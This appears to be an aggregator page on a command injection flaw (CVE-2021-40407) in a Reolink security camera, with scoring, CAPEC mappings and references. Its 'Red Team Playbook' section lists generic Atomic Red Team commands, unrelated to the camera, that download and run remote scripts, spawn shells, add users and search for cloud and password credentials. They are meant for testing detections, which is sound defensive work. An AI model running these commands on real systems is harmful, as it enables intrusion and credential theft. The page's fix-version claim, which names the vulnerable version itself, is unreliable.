CVE-2021-40407
Overview
This vulnerability is an OS command injection caused by improper input validation of the ddns->domain variable within the network settings functionality of the Reolink RLC-410W firmware version 3.0.0.136_20121102. The domain parameter, supplied via the SetDdns API, is not sanitized before being incorporated into system command execution contexts. This flaw affects the device's DDNS configuration component, allowing untrusted input to influence underlying operating system commands.
Vulnerability Description
An OS command injection vulnerability exists in the device network settings functionality of reolink RLC-410W v3.0.0.136_20121102. At [1] or [2], based on DDNS type, the ddns->domain variable, that has the value of the domain parameter provided through the SetDdns API, is not validated properly. This would lead to an OS command injection. An attacker can send an HTTP request to trigger this vulnerability.
Impact
An attacker with high-privileged access can execute arbitrary operating system commands on the affected device by exploiting this vulnerability. This enables full control over the device, including potential data exfiltration, disruption of device functionality, or lateral movement within the network. Exploitation requires sending a specially crafted HTTP request to the device's network settings API, and no user interaction is necessary once access is obtained. The compromise may result in significant operational disruption and unauthorized access to sensitive device functions.
Solution
Reolink has addressed this vulnerability in firmware version 3.0.0.136_20121102; users should verify they are running this or a later patched version. Detailed remediation guidance and updates are available through the Talos Intelligence advisory at https://talosintelligence.com/vulnerability_reports/TALOS-2021-1424. It is recommended to apply the vendor-supplied firmware update promptly to mitigate the issue.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
An OS command injection vulnerability has been identified in the network settings functionality of the Reolink RLC-410W camera, specifically in version 3.0.0.136_20121102. This flaw arises from improper validation of the ddns->domain variable, which is derived from user input via the SetDdns API. When an attacker crafts a malicious HTTP request that includes specially formatted data for the domain parameter, the device may inadvertently execute arbitrary operating system commands. This lack of input validation allows an attacker to manipulate the execution environment of the device, leading to potentially severe consequences.
The attack vector for this vulnerability is primarily through network-based interactions. An attacker can exploit this flaw by sending crafted HTTP requests to the device, targeting the SetDdns API. By injecting malicious commands into the ddns->domain variable, the attacker can execute arbitrary code on the device's operating system. This could lead to unauthorized access, data exfiltration, or even complete control over the device. The ease of exploitation, combined with the widespread deployment of such devices in home and business environments, raises significant concerns regarding the security posture of users who rely on these cameras for surveillance and monitoring.
The real-world impact of this vulnerability can be substantial, especially in contexts where the Reolink RLC-410W is used in sensitive environments. An attacker gaining control over a security camera could disable the device, manipulate its settings, or use it as a pivot point to launch further attacks within the network. This could lead to breaches of privacy, unauthorized surveillance, and potential legal ramifications for organizations that fail to secure their devices adequately. The business risk extends beyond immediate financial loss; it includes reputational damage and the erosion of customer trust, particularly for organizations that handle sensitive information or rely on surveillance for security.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regularly updating firmware to the latest versions is crucial, as vendors often release patches that address known vulnerabilities. Network monitoring tools can help identify unusual traffic patterns or unauthorized access attempts, allowing for timely intervention. Additionally, employing a robust firewall and intrusion detection system can provide an additional layer of security by filtering out potentially malicious requests before they reach the device. Educating users about the importance of secure configurations and the risks associated with default settings can also play a vital role in reducing the attack surface.
In conclusion, the OS command injection vulnerability in the Reolink RLC-410W represents a significant security risk that can be exploited through relatively straightforward methods. The potential for real-world impact underscores the importance of proactive security measures and awareness among users. By implementing effective detection and mitigation strategies, organizations can safeguard their devices against exploitation and maintain the integrity of their security systems.
The CVSS score for CVE-2021-40407 has been revised upward from 7.2 to 9.1, reflecting a reassessment of the vulnerability’s criticality due to its potential for remote OS command injection via the Reolink RLC-410W device’s network settings interface. Despite this increase in severity, our telemetry indicates a moderate decline in exploitation likelihood as evidenced by a decrease in the EPSS score and a downward trend in exploit attempts over the past week. This divergence suggests that while the vulnerability remains highly critical in theory, active exploitation in the wild has not intensified recently. The inclusion of this CVE in the KEV catalog further underscores its importance for defenders to monitor, particularly given the device’s continued presence in operational environments despite its end-of-life status. Overall, the heightened CVSS score elevates the urgency for detection and mitigation efforts, but the current exploitation landscape does not indicate an immediate surge in attacker activity targeting this flaw.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Reolink | Rlc-410w Firmware | 3.0.0.136_20121102 |
cpe:2.3:o:reolink:rlc-410w_firmware:3.0.0.136_20121102:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
3 eventsSighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
47%
|
High | High | |
| CAPEC-6 | Argument Injection |
46%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
40%
|
Medium | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-40407 |
| talosintelligence.com |
GitHub CVE
x_refsource_MISC
|
https://talosintelligence.com/vulnerability_reports/TALOS-2021-1424 |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-40407 |